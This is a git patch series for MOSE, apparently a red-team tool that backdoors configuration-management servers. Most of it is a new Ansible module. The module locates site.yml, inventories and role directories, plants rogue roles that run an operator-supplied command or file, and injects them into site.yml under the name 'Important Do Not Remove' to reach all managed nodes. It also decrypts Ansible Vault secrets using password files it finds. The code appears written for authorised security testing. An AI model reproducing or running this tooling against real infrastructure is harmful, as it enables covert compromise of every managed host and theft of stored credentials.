From 8f3441580686ee6d2b7669e06028118399ea1f42 Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Thu, 2 Jan 2020 18:16:06 -0800 Subject: [PATCH 1/6] Add salt lab to the azure pipeline --- azure-pipelines.yml | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/azure-pipelines.yml b/azure-pipelines.yml index ba68a18..1598a50 100644 --- a/azure-pipelines.yml +++ b/azure-pipelines.yml @@ -168,6 +168,21 @@ steps: workingDirectory: "$(modulePath)" # End Chef +# Salt +- script: | + git clone https://github.com/master-of-servers/salt-test-lab.git + cd salt-test-lab && cd basic + docker-compose up -d --build + sleep 60 + # Fix pillar issue + docker exec -it salt-master /bin/bash -c "salt '*' saltutil.refresh_pillar" + # Enroll minion with salt master + docker exec -i salt-master /bin/bash -c "salt '*' state.apply hello" + docker exec -i salt-master /bin/bash -c "salt '*' pillar.items" + displayName: 'Build and configure salt test environment' + workingDirectory: "$(modulePath)" +# End Salt + # - script: | # export GO111MODULE=on # go test -count=1 -v -race ./... From ca91f74c636e39f06086059e098f4fd25998b3bc Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Sun, 5 Jan 2020 15:39:24 -0800 Subject: [PATCH 2/6] Update permissions in puppet file upload template --- templates/puppet/puppetFileUploadModule.tmpl | 2 +- templates/salt/params.tmpl | 20 ++++++++++++++++++++ 2 files changed, 21 insertions(+), 1 deletion(-) create mode 100644 templates/salt/params.tmpl diff --git a/templates/puppet/puppetFileUploadModule.tmpl b/templates/puppet/puppetFileUploadModule.tmpl index 6d5b678..f722cf2 100644 --- a/templates/puppet/puppetFileUploadModule.tmpl +++ b/templates/puppet/puppetFileUploadModule.tmpl @@ -1,6 +1,6 @@ class {{.ClassName}} { file { '{{.FilePath}}': - mode => '0744', + mode => '0755', owner => 'root', group => 'root', source => 'puppet:///modules/{{.ClassName}}/{{.FileName}}', diff --git a/templates/salt/params.tmpl b/templates/salt/params.tmpl new file mode 100644 index 0000000..f39a036 --- /dev/null +++ b/templates/salt/params.tmpl @@ -0,0 +1,20 @@ +package main + +import ( + "github.com/master-of-servers/mose/pkg/agent" +) + +func CreateAgent() agent.Agent { + agent := agent.Agent{ + Cmd: "{{.Cmd}}", + Debug: {{.Debug}}, + LocalIP: "{{.LocalIP}}", + OsTarget: "{{.OSTarget}}", + PayloadName: "{{.PayloadName}}", + FileName: "{{.FileUpload}}", + RemoteUploadFilePath: "{{.RemoteUploadFilePath}}", + CleanupFile: "{{.CleanupFile}}", + SaltBackupLoc: "{{.SaltBackupLoc}}", + } + return agent +} \ No newline at end of file From f5075d1dd5ac2ecc80010aaec48c90a78e01caf8 Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Sat, 11 Jan 2020 12:39:32 -0800 Subject: [PATCH 3/6] Run go mod tidy and minor lint change --- cmd/mose/puppet/main.go | 2 +- go.mod | 4 ++-- go.sum | 8 ++++---- 3 files changed, 7 insertions(+), 7 deletions(-) diff --git a/cmd/mose/puppet/main.go b/cmd/mose/puppet/main.go index 10f8fb5..a8f3d63 100644 --- a/cmd/mose/puppet/main.go +++ b/cmd/mose/puppet/main.go @@ -37,13 +37,13 @@ type command struct { var ( a = CreateAgent() cleanup bool + cleanupFile = a.CleanupFile cmd = a.Cmd debug = a.Debug osTarget = a.OsTarget moduleName = a.PayloadName uploadFileName = a.FileName uploadFilePath = a.RemoteUploadFilePath - cleanupFile = a.CleanupFile puppetBackupLoc = a.PuppetBackupLoc ) diff --git a/go.mod b/go.mod index b7fa0b1..f4f1d13 100644 --- a/go.mod +++ b/go.mod @@ -26,8 +26,8 @@ require ( github.com/pierrec/lz4 v2.0.5+incompatible // indirect github.com/rogpeppe/go-internal v1.5.1 // indirect github.com/xi2/xz v0.0.0-20171230120015-48954b6210f8 // indirect - golang.org/x/crypto v0.0.0-20191227163750-53104e6ec876 // indirect - golang.org/x/sys v0.0.0-20200102141924-c96a22e43c9c // indirect + golang.org/x/crypto v0.0.0-20200109152110-61a87790db17 // indirect + golang.org/x/sys v0.0.0-20200107162124-548cf772de50 // indirect golang.org/x/time v0.0.0-20190308202827-9d24e82272b4 // indirect google.golang.org/grpc v1.21.1 // indirect gopkg.in/src-d/go-git.v4 v4.12.0 // indirect diff --git a/go.sum b/go.sum index cb17a90..a8c5371 100644 --- a/go.sum +++ b/go.sum @@ -168,8 +168,8 @@ golang.org/x/crypto v0.0.0-20190621222207-cc06ce4a13d4 h1:ydJNl0ENAG67pFbB+9tfhi golang.org/x/crypto v0.0.0-20190621222207-cc06ce4a13d4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20191122220453-ac88ee75c92c h1:/nJuwDLoL/zrqY6gf57vxC+Pi+pZ8bfhpPkicO5H7W4= golang.org/x/crypto v0.0.0-20191122220453-ac88ee75c92c/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= -golang.org/x/crypto v0.0.0-20191227163750-53104e6ec876 h1:sKJQZMuxjOAR/Uo2LBfU90onWEf1dF4C+0hPJCc9Mpc= -golang.org/x/crypto v0.0.0-20191227163750-53104e6ec876/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20200109152110-61a87790db17 h1:nVJ3guKA9qdkEQ3TUdXI9QSINo2CUPM/cySEvw2w8I0= +golang.org/x/crypto v0.0.0-20200109152110-61a87790db17/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= @@ -196,8 +196,8 @@ golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190515120540-06a5c4944438 h1:khxRGsvPk4n2y8I/mLLjp7e5dMTJmH75wvqS6nMwUtY= golang.org/x/sys v0.0.0-20190515120540-06a5c4944438/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200102141924-c96a22e43c9c h1:OYFUffxXPezb7BVTx9AaD4Vl0qtxmklBIkwCKH1YwDY= -golang.org/x/sys v0.0.0-20200102141924-c96a22e43c9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200107162124-548cf772de50 h1:YvQ10rzcqWXLlJZ3XCUoO25savxmscf4+SC+ZqiCHhA= +golang.org/x/sys v0.0.0-20200107162124-548cf772de50/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/text v0.3.0 h1:g61tztE5qeGQ89tm6NTjjM9VPIm088od1l6aSorWRWg= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4 h1:SvFZT6jyqRaOeXpc5h/JSfZenJ2O330aBsf7JfSUXmQ= From 529cba3c25033bfd7e8d5a9bb3919c8520abd0e2 Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Sat, 11 Jan 2020 13:23:35 -0800 Subject: [PATCH 4/6] Fix pipeline to work with changes to the salt-test-lab --- azure-pipelines.yml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/azure-pipelines.yml b/azure-pipelines.yml index 1598a50..8aa2195 100644 --- a/azure-pipelines.yml +++ b/azure-pipelines.yml @@ -175,10 +175,10 @@ steps: docker-compose up -d --build sleep 60 # Fix pillar issue - docker exec -it salt-master /bin/bash -c "salt '*' saltutil.refresh_pillar" + docker exec -it basic-salt-master /bin/bash -c "salt '*' saltutil.refresh_pillar" # Enroll minion with salt master - docker exec -i salt-master /bin/bash -c "salt '*' state.apply hello" - docker exec -i salt-master /bin/bash -c "salt '*' pillar.items" + docker exec -i basic-salt-master /bin/bash -c "salt '*' state.apply" + docker exec -i basic-salt-master /bin/bash -c "salt '*' pillar.items" displayName: 'Build and configure salt test environment' workingDirectory: "$(modulePath)" # End Salt From 76f2c91308b129cb895bda98b4bca8105eb636b6 Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Tue, 4 Feb 2020 10:37:32 -0800 Subject: [PATCH 5/6] Ansible Integration, misc minor changes/fixes - Add ansible test lab to the pipeline - Add preface to debug output for payload generation command - Add ansible logic - Run go mod tidy - Reorder ansible template variable order to be alphabetical - Add the ability to locate site.yml, ansible.cfg, playbooks, and host files - Add the ability to find managed systems - Add the ability to create backdoored roles - Add backup functionality for site.yml - Fix wording in chef message - Add various file manipulation functions - Add file upload functionality for ansible - Update gitignore - Fix minor issue in puppet module generation - Closes #41 - moseutils.CpFile now returns an error - Update azure pipeline test to account for this - File upload specified output now uses moseutils.Info instead of log - File upload now supports specifying a path to the file to upload - Update EXAMPLES.md to reflect this --- .gitignore | 1 + EXAMPLES.md | 15 +- azure-pipelines.yml | 26 +- cmd/mose/ansible/main.go | 572 ++++++++++++++++++ cmd/mose/chef/main.go | 5 +- cmd/mose/puppet/main.go | 8 +- go.mod | 10 +- go.sum | 20 +- main.go | 26 +- pkg/agent/agent.go | 1 + pkg/moseutils/fileutils.go | 19 + pkg/moseutils/settings.go | 1 + pkg/moseutils/sysutils.go | 69 ++- pkg/moseutils/ui.go | 37 ++ pkg/moseutils/userinput.go | 4 +- settings.json | 1 + .../ansible/ansibleFileUploadPlaybook.tmpl | 8 + templates/ansible/ansiblePlaybook.tmpl | 4 + templates/ansible/params.tmpl | 20 + templates/ansible/site.tmpl | 6 + 20 files changed, 796 insertions(+), 57 deletions(-) create mode 100644 cmd/mose/ansible/main.go create mode 100644 templates/ansible/ansibleFileUploadPlaybook.tmpl create mode 100644 templates/ansible/ansiblePlaybook.tmpl create mode 100644 templates/ansible/params.tmpl create mode 100644 templates/ansible/site.tmpl diff --git a/.gitignore b/.gitignore index 5e5d4e0..6c98915 100644 --- a/.gitignore +++ b/.gitignore @@ -16,6 +16,7 @@ knife.rb /mose chef-linux puppet-linux +ansible-linux # Application-generated folders payloads/ diff --git a/EXAMPLES.md b/EXAMPLES.md index 8caa75b..594f679 100644 --- a/EXAMPLES.md +++ b/EXAMPLES.md @@ -26,28 +26,23 @@ If you want to clean up after you're done, run the payload again with the `-c` o ## Instructions to upload and run a file This will allow you to specify a script or a binary that will be run on all target agents. -1. Put the file that you want to run in the `payloads` directory. For example: -``` -echo 'echo test' > payloads/notevil.sh -``` - -2. Run MOSE with the following options: +1. Run MOSE with the following options: ``` ./mose -fu -t ``` For example: ``` -./mose -fu ${PWD}/payloads/notevil.sh -t puppet +./mose -fu /tmp/notevil.sh -t puppet ``` -3. On the target, download the payload that is being served (assuming you opted to have MOSE serve it for you) and give it execute permissions. +2. On the target, download the payload that is being served (assuming you opted to have MOSE serve it for you) and give it execute permissions. -4. Extract the payload: +3. Extract the payload: ``` tar -vxf files.tar ``` -5. Run the payload: +4. Run the payload: ``` ./- ``` diff --git a/azure-pipelines.yml b/azure-pipelines.yml index 8aa2195..63de753 100644 --- a/azure-pipelines.yml +++ b/azure-pipelines.yml @@ -81,7 +81,7 @@ steps: - script: | echo 'echo testing file upload > /tmp/file_upload_test.txt' > payloads/notevil.sh export GO111MODULE=on - ./mose -fu ${PWD}/payloads/notevil.sh -t puppet -f ${PWD}/payloads/puppet-linux + ./mose -fu payloads/notevil.sh -t puppet -f ${PWD}/payloads/puppet-linux displayName: 'Generate a puppet payload to test file upload' workingDirectory: "$(modulePath)" @@ -168,6 +168,30 @@ steps: workingDirectory: "$(modulePath)" # End Chef +# Ansible +- script: | + git clone https://github.com/master-of-servers/ansible-test-lab.git + cd ansible-test-lab && cd basic + bash files/create_ssh_key.sh + cp files/authorized_keys control/files + cp files/id_rsa control/files + cp files/id_rsa.pub control/files + cp files/authorized_keys managed/files + cp files/id_rsa managed/files + cp files/id_rsa.pub managed/files + docker-compose up -d --force-recreate --build + echo "Decrypting the vault file" + docker exec -i basic-control-node ansible-vault decrypt /root/.ansible/group_vars/vault + docker exec -i basic-control-node cat /root/.ansible/group_vars/vault + echo "Encrypting the vault file" + docker exec -i basic-control-node ansible-vault encrypt /root/.ansible/group_vars/vault + docker exec -i basic-control-node cat /root/.ansible/group_vars/vault + echo "Applying the hello playbook to the managed node" + docker exec -i basic-control-node bash -c "cd ~/.ansible && ansible-playbook site.yml" + displayName: 'Build and configure ansible test environment' + workingDirectory: "$(modulePath)" +# End Ansible + # Salt - script: | git clone https://github.com/master-of-servers/salt-test-lab.git diff --git a/cmd/mose/ansible/main.go b/cmd/mose/ansible/main.go new file mode 100644 index 0000000..5f4ef74 --- /dev/null +++ b/cmd/mose/ansible/main.go @@ -0,0 +1,572 @@ +// Copyright 2020 National Technology & Engineering Solutions of Sandia, LLC (NTESS). +// Under the terms of Contract DE-NA0003525 with NTESS, +// the U.S. Government retains certain rights in this software. + +package main + +import ( + "flag" + "fmt" + "log" + "os" + "path/filepath" + "regexp" + "strings" + "text/template" + + "github.com/ghodss/yaml" + "github.com/gobuffalo/packr/v2" + utils "github.com/l50/goutils" + "github.com/master-of-servers/mose/pkg/moseutils" +) + +type command struct { + Cmd string + CmdName string + FileName string + FilePath string +} + +type ansibleFiles struct { + cfgFile string + hostFiles []string + hosts []string + playbookDirs []string + siteFile string + vaultFile string +} + +type ansible []struct { + Name string `json:"name,omitempty"` + Hosts string `json:"hosts,omitempty"` + Become bool `json:"become,omitempty"` + GatherFacts string `json:"gather_facts,omitempty"` + Include string `json:"include,omitempty"` + Roles []string `json:"roles,flow,omitempty"` + Tasks []interface{} `json:"tasks,omitempty"` +} + +var ( + a = CreateAgent() + ansibleBackupLoc = a.AnsibleBackupLoc + cleanup bool + cleanupFile = a.CleanupFile + debug = a.Debug + files = ansibleFiles{ + cfgFile: "", + hostFiles: []string{}, + playbookDirs: []string{}, + siteFile: "", + vaultFile: "", + } + osTarget = a.OsTarget + ansibleRole = a.PayloadName + uploadFileName = a.FileName + uploadFilePath = a.RemoteUploadFilePath + specific bool +) + +func init() { + flag.BoolVar(&cleanup, "c", false, "Activate cleanup using the file location in settings.json") + flag.Parse() +} + +func doCleanup(siteLoc string) { + moseutils.TrackChanges(cleanupFile, cleanupFile) + ans, err := moseutils.AskUserQuestion("Would you like to remove all files associated with a previous run?", osTarget) + if err != nil { + log.Fatal("Failed to do the cleanup: %v, exiting...", err) + } + moseutils.RemoveTracker(cleanupFile, osTarget, ans) + + path := siteLoc + if ansibleBackupLoc != "" { + path = filepath.Join(ansibleBackupLoc, filepath.Base(siteLoc)) + } + + path = path + ".bak.mose" + + if !moseutils.FileExists(path) { + moseutils.Info("Backup file %s does not exist, skipping", path) + } + ans2 := false + if !ans { + ans2, err = moseutils.AskUserQuestion(fmt.Sprintf("Overwrite %s with %s", siteLoc, path), osTarget) + if err != nil { + log.Fatal("Quitting...") + } + } + if ans || ans2 { + moseutils.CpFile(path, siteLoc) + os.Remove(path) + } + os.Exit(0) +} + +func getSiteFile() string { + var siteLoc string + fileList, _ := moseutils.GetFileAndDirList([]string{"/"}) + for _, file := range fileList { + if strings.Contains(file, "site.yml") && !strings.Contains(file, "~") && + !strings.Contains(file, ".bak") && !strings.Contains(file, "#") { + siteLoc = file + } + } + if siteLoc == "" { + moseutils.ErrMsg("Unable to locate a site.yml file.") + } + return siteLoc +} + +func getCfgFile() string { + var cfgLoc string + fileList, _ := moseutils.GetFileAndDirList([]string{"/"}) + for _, file := range fileList { + matched, _ := regexp.MatchString(`ansible.cfg$`, file) + if matched && !strings.Contains(file, "~") && + !strings.Contains(file, ".bak") && !strings.Contains(file, "#") && + !strings.Contains(file, "test") { + cfgLoc = file + } + } + if cfgLoc == "" { + moseutils.ErrMsg("Unable to locate an ansible.cfg file.") + } + return cfgLoc +} + +func getPlaybooks() []string { + locations := make(map[string]bool) + var playbookDirs []string + + _, dirList := moseutils.GetFileAndDirList([]string{"/"}) + for _, dir := range dirList { + d := filepath.Dir(dir) + if strings.Contains(d, "roles") && !strings.Contains(d, "~") && + !strings.Contains(d, ".bak") && !strings.Contains(d, "#") && + !strings.Contains(d, "tasks") && !strings.Contains(d, "vars") { + + if !locations[d] && filepath.Base(d) == "roles" { + locations[d] = true + } + } + } + for loc := range locations { + playbookDirs = append(playbookDirs, loc) + } + + return playbookDirs +} + +func getHostFileFromCfg() (bool, string) { + cfgFile, err := moseutils.File2lines(files.cfgFile) + if err != nil { + moseutils.ErrMsg("Unable to read %v because of %v", files.cfgFile, err) + } + for _, line := range cfgFile { + matched, _ := regexp.MatchString(`^inventory.*`, line) + if matched { + if debug { + log.Printf("Found inventory specified in ansible.cfg: %v", files.cfgFile) + } + inventoryPath := strings.TrimSpace(strings.SplitAfter(line, "=")[1]) + path, err := moseutils.CreateFilePath(inventoryPath, filepath.Dir(files.cfgFile)) + if err != nil { + moseutils.ErrMsg("Unable to generate correct path from input: %v %v", inventoryPath, filepath.Dir(files.cfgFile)) + } + return true, path + } + } + return false, "" +} + +func getHostFiles() []string { + var hostFiles []string + + // Check if host file specified in the ansible.cfg file + found, hostFile := getHostFileFromCfg() + if found { + hostFiles = append(hostFiles, hostFile) + } + + fileList, _ := moseutils.GetFileAndDirList([]string{"/etc/ansible"}) + for _, file := range fileList { + if strings.Contains(file, "hosts") && !strings.Contains(file, "~") && + !strings.Contains(file, ".bak") && !strings.Contains(file, "#") { + hostFiles = append(hostFiles, file) + } + } + return hostFiles +} + +func getManagedSystems() []string { + var hosts []string + for _, hostFile := range files.hostFiles { + // Get the contents of the hostfile into a slice + contents, err := moseutils.File2lines(hostFile) + if err != nil { + moseutils.ErrMsg("Unable to read %v because of %v", hostFile, err) + } + // Add valid lines with IP addresses or hostnames to hosts + for _, line := range contents { + ip, _ := regexp.MatchString(`^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$`, line) + validHostname, _ := regexp.MatchString(`^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\-]*[A-Za-z0-9])$`, line) + if ip || validHostname { + hosts = append(hosts, line) + } + } + } + return hosts +} + +func createPlaybookDirs(playbookDir string, ansibleCommand command) { + var err error + var fileDir string + err = os.MkdirAll(filepath.Join(playbookDir, ansibleCommand.CmdName, "tasks"), os.ModePerm) + + if err != nil { + log.Printf("Error creating the %s playbook directory: %v", playbookDir, err) + } + + if uploadFileName != "" { + fileDir = filepath.Join(playbookDir, ansibleCommand.CmdName, "files") + err = os.MkdirAll(fileDir, os.ModePerm) + + if err != nil { + log.Printf("Error creating the %s playbook directory: %v", fileDir, err) + } + + _, err := moseutils.TrackChanges(cleanupFile, uploadFilePath) + + if err != nil { + moseutils.ErrMsg("Error tracking changes: ", err) + } + + moseutils.CpFile(uploadFilePath, filepath.Join(fileDir, filepath.Base(uploadFileName))) + if err := os.Chmod(filepath.Join(fileDir, filepath.Base(uploadFileName)), 0644); err != nil { + log.Printf("Failed to set the permissions for %v: %v", uploadFileName, err) + } + moseutils.Msg("Successfully copied and set permissions for %s", filepath.Join(fileDir, filepath.Base(uploadFileName))) + } +} + +func backupSiteFile() { + path := files.siteFile + // If a backup location is specified in the settings.json, use it + if ansibleBackupLoc != "" { + var err error + err = os.MkdirAll(ansibleBackupLoc, os.ModePerm) + + if err != nil { + log.Printf("Error creating the path (%s) for the backup: %v", path, err) + } + + path = filepath.Join(ansibleBackupLoc, filepath.Base(files.siteFile)) + } + if !moseutils.FileExists(path + ".bak.mose") { + moseutils.CpFile(files.siteFile, path+".bak.mose") + } else { + moseutils.ErrMsg("Backup of the (%v.bak.mose) already exists.", path) + } +} + +func generatePlaybooks() { + ansibleCommand := command{ + CmdName: a.PayloadName, + Cmd: a.Cmd, + FileName: uploadFileName, + FilePath: uploadFilePath, + } + for _, playbookDir := range files.playbookDirs { + var s string + createPlaybookDirs(playbookDir, ansibleCommand) + + box := packr.New("Ansible", "../../../templates/ansible") + + s, err := box.FindString("ansiblePlaybook.tmpl") + + if err != nil { + log.Fatalf("Error reading the template to create a playbook: %v, exiting...", err) + } + + if uploadFileName != "" { + s, err = box.FindString("ansibleFileUploadPlaybook.tmpl") + + if err != nil { + log.Fatalf("Error reading the file upload template to create a playbook: %v, exiting...", err) + } + } + + // Parse the template + t, err := template.New("ansiblePlaybook").Parse(s) + + if err != nil { + log.Fatalf("Error creating the template representation of the ansible playbook: %v, exiting...", err) + } + + // Create the main.yml file + f, err := os.Create(filepath.Join(playbookDir, ansibleCommand.CmdName, "tasks", "main.yml")) + + if err != nil { + log.Fatalf("Error creating the main.yml file: %v, exiting...", err) + } + + // Write the contents of ansibleCommand into the main.yml file generated previously + err = t.Execute(f, ansibleCommand) + + if err != nil { + log.Fatalf("Error injecting the ansibleCommand content into the playbook template: %v", err) + } + + f.Close() + if debug { + log.Printf("Creating rogue playbook %s", playbookDir) + } + moseutils.Msg("Successfully created the %s playbook at %s", ansibleCommand.CmdName, playbookDir) + } +} + +func writeYamlToSite(siteYaml ansible) { + marshalled, err := yaml.Marshal(&siteYaml) + if err != nil { + log.Fatal(err) + } + + err = moseutils.WriteBytesToFile(files.siteFile, marshalled, 0644) + if err != nil { + log.Fatalf("Error writing %v to %v because of: %v, exiting.", marshalled, files.siteFile, err) + } + moseutils.Msg("%s successfully created", files.siteFile) +} + +func backdoorSiteFile() { + var hosts []string + hostAllFound := false + + bytes, err := moseutils.ReadBytesFromFile(files.siteFile) + if err != nil { + log.Fatal(err) + } + + unmarshalled := ansible{} + err = yaml.Unmarshal(bytes, &unmarshalled) + if err != nil { + log.Fatal(err) + } + + for _, host := range unmarshalled { + hosts = append(hosts, host.Hosts) + if strings.Compare(host.Hosts, "all") == 0 { + hostAllFound = true + } + } + + if hostAllFound { + if debug { + log.Println("hosts:all found") + } + if ans, err := moseutils.AskUserQuestion("Would you like to target all managed nodes? ", a.OsTarget); ans && err == nil { + for i, item := range unmarshalled { + if strings.Compare(item.Hosts, "all") == 0 { + moseutils.Msg("Existing configuration for all hosts found, adding rogue playbook to roles") + if unmarshalled[i].Roles == nil { + unmarshalled[i].Roles = make([]string, 0) + } + unmarshalled[i].Roles = append(unmarshalled[i].Roles, ansibleRole) + writeYamlToSite(unmarshalled) + return + } + } + } else if err != nil { + log.Fatalf("Quitting...") + } + } + + if !hostAllFound { + if debug { + log.Println("No existing configuration for all founds host in %v", files.siteFile) + } + if ans, err := moseutils.AskUserQuestion("Would you like to target all managed nodes? ", a.OsTarget); ans && err == nil { + newItem := ansible{{ + "Important Do Not Remove", + "all", + true, + "", + "", + []string{ansibleRole}, + nil, + }} + unmarshalled = append(unmarshalled, newItem[0]) + writeYamlToSite(unmarshalled) + return + } else if err != nil { + log.Fatalf("Error targeting all managed nodes: %v, exiting.", err) + } + } + moseutils.Info("The following roles were found in the site.yml file: ") + validIndex := make(map[int]bool, 0) + for i, hosts := range unmarshalled { + if hosts.Include == "" { + moseutils.Msg("[%v] Name: %v, Hosts: %v, Roles: %v", i, hosts.Name, hosts.Hosts, hosts.Roles) + validIndex[i] = true + } + } + + if ans, err := moseutils.IndexedUserQuestion("Provide the index of the location that you want to inject into the site.yml (ex. 1,3,...):", a.OsTarget, validIndex); err == nil { + for i := range unmarshalled { + // Check if the specified location is in the answer + if ans[i] { + if unmarshalled[i].Roles == nil { + unmarshalled[i].Roles = make([]string, 0) + } + unmarshalled[i].Roles = append(unmarshalled[i].Roles, ansibleRole) + } + } + } else if err != nil { + log.Fatalf("Failure injecting into the site.yml file: %v, exiting.", err) + } + writeYamlToSite(unmarshalled) +} + +func findVaultSecrets() { + found, fileLoc := moseutils.FindFile("ansible-vault", []string{"/bin", "/usr/bin", "/usr/local/bin", "/etc/anisble"}) + if found { + envPass := os.Getenv("ANSIBLE_VAULT_PASSWORD_FILE") + envFileExists, envFile := getVaultPassFromCfg() + + ansibleFiles, _ := moseutils.FindFiles([]string{"/etc/ansible", "/root", "/home", "/opt", "/var"}, []string{".yaml", ".yml"}, []string{"vault"}, []string{}) + + if len(ansibleFiles) == 0 { + moseutils.ErrMsg("Unable to find any yaml files") + return + } + // Matches for secrets + reg := regexp.MustCompile(`(?ms)\$ANSIBLE_VAULT`) + // Translate secrets on the fly + for _, file := range ansibleFiles { + matches := moseutils.GrepFile(file, reg) + if debug { + log.Printf("Checking if secret in file %v", file) + } + if len(matches) > 0 { + if envPass != "" { + moseutils.Msg("Found secret(s) in file: %s", file) + res, err := utils.RunCommand(fileLoc, "view", + "--vault-password-file", + envPass, + file) + + if err != nil { + moseutils.ErrMsg("Error running command: %s view %s %s %v", fileLoc, envPass, file, err) + } + if !strings.Contains(res, "ERROR!") { + moseutils.Msg("%s", res) + } + } + + if envFileExists && envFile != envPass { + moseutils.Msg("Found secret(s) in file: %s", file) + res, err := utils.RunCommand(fileLoc, "view", + "--vault-password-file", + envFile, + file) + + if err != nil { + moseutils.ErrMsg("Error running command: %s view --vault-password-file %s %s %v", fileLoc, envFile, file, err) + } + if !strings.Contains(res, "ERROR!") { + moseutils.Msg("%s", res) + } + } + } + } + } +} + +func getVaultPassFromCfg() (bool, string) { + cfgFile, err := moseutils.File2lines(files.cfgFile) + if err != nil { + moseutils.ErrMsg("Unable to read %v because of %v", files.cfgFile, err) + } + for _, line := range cfgFile { + matched, _ := regexp.MatchString(`^vault_password_file.*`, line) + if matched { + if debug { + log.Printf("Found vault_password_file specified in ansible.cfg: %v", files.cfgFile) + } + vaultPath := strings.TrimSpace(strings.SplitAfter(line, "=")[1]) + path, err := moseutils.CreateFilePath(vaultPath, filepath.Dir(files.cfgFile)) + if err != nil { + moseutils.ErrMsg("Unable to generate correct path from input: %v %v", vaultPath, filepath.Dir(files.cfgFile)) + } + return true, path + } + } + return false, "" +} + +func main() { + // TODO: Fix this + if cleanup { + doCleanup(files.siteFile) + } + + if uploadFileName != "" { + moseutils.CpFile(uploadFileName, uploadFilePath) + _, err := moseutils.TrackChanges(cleanupFile, uploadFileName) + + if err != nil { + moseutils.ErrMsg("Error tracking changes: ", err) + } + } + + // Find site.yml + files.siteFile = getSiteFile() + if debug { + log.Printf("Site file: %v", files.siteFile) + } + + // Find ansible.cfg + files.cfgFile = getCfgFile() + if debug { + log.Printf("Ansible config file location: %v", files.cfgFile) + } + + // Find where playbooks are located on the target system + files.playbookDirs = getPlaybooks() + if debug { + log.Printf("Directories with playbooks: %v", files.playbookDirs) + } + + // Find host files + files.hostFiles = getHostFiles() + if debug { + log.Printf("Host files found: %v", files.hostFiles) + } + + // Parse managed systems from the hosts files found previously + files.hosts = getManagedSystems() + if len(files.hosts) > 0 { + moseutils.Info("The following managed systems found: %v", files.hosts) + } + + if files.siteFile != "" { + if ans, err := moseutils.AskUserQuestion("Do you want to create a backup of the manifests? This can lead to attribution, but can save your bacon if you screw something up or if you want to be able to automatically clean up. ", a.OsTarget); ans && err == nil { + backupSiteFile() + } else if err != nil { + moseutils.ErrMsg("Error backing up %s: %v, exiting...", files.siteFile, err) + } + } + + // Create rogue playbooks using ansiblePlaybook.tmpl + generatePlaybooks() + + moseutils.Msg("Backdooring %s to run %s on all managed systems, please wait...", files.siteFile, a.Cmd) + backdoorSiteFile() + + // find secrets is ansible-vault is installed + moseutils.Info("Attempting to find secrets, please wait...") + findVaultSecrets() + moseutils.Msg("MOSE has finished, exiting.") + os.Exit(0) +} diff --git a/cmd/mose/chef/main.go b/cmd/mose/chef/main.go index 5c91b42..6c6b65d 100644 --- a/cmd/mose/chef/main.go +++ b/cmd/mose/chef/main.go @@ -194,7 +194,8 @@ func createCookbook(cookbooksLoc string, cookbookName string, cmd string) bool { moseutils.Msg("Successfully created files directory at location %s for file %s", filesLoc, uploadFileName) // Maybe assume it isn't in current directory? - moseutils.CpFile(uploadFileName, filepath.Join(filesLoc, filepath.Base(uploadFileName))) + _ = moseutils.CpFile(uploadFileName, filepath.Join(filesLoc, filepath.Base(uploadFileName))) + _, err = moseutils.TrackChanges(cleanupFile, uploadFilePath) if err != nil { @@ -204,7 +205,7 @@ func createCookbook(cookbooksLoc string, cookbookName string, cmd string) bool { if err := os.Chmod(filepath.Join(filesLoc, filepath.Base(uploadFileName)), 0644); err != nil { log.Fatal(err) } - moseutils.Msg("Successfully copied and chmod file %s", filepath.Join(filesLoc, filepath.Base(uploadFileName))) + moseutils.Msg("Successfully copied and set permissions for %s", filepath.Join(filesLoc, filepath.Base(uploadFileName))) } } diff --git a/cmd/mose/puppet/main.go b/cmd/mose/puppet/main.go index a8f3d63..45b1a58 100644 --- a/cmd/mose/puppet/main.go +++ b/cmd/mose/puppet/main.go @@ -139,7 +139,7 @@ func backupManifest(manifestLoc string) { path = filepath.Join(puppetBackupLoc, filepath.Base(manifestLoc)) } if !moseutils.FileExists(path + ".bak.mose") { - moseutils.CpFile(manifestLoc, path+".bak.mose") + _ = moseutils.CpFile(manifestLoc, path+".bak.mose") return } fmt.Printf("Backup 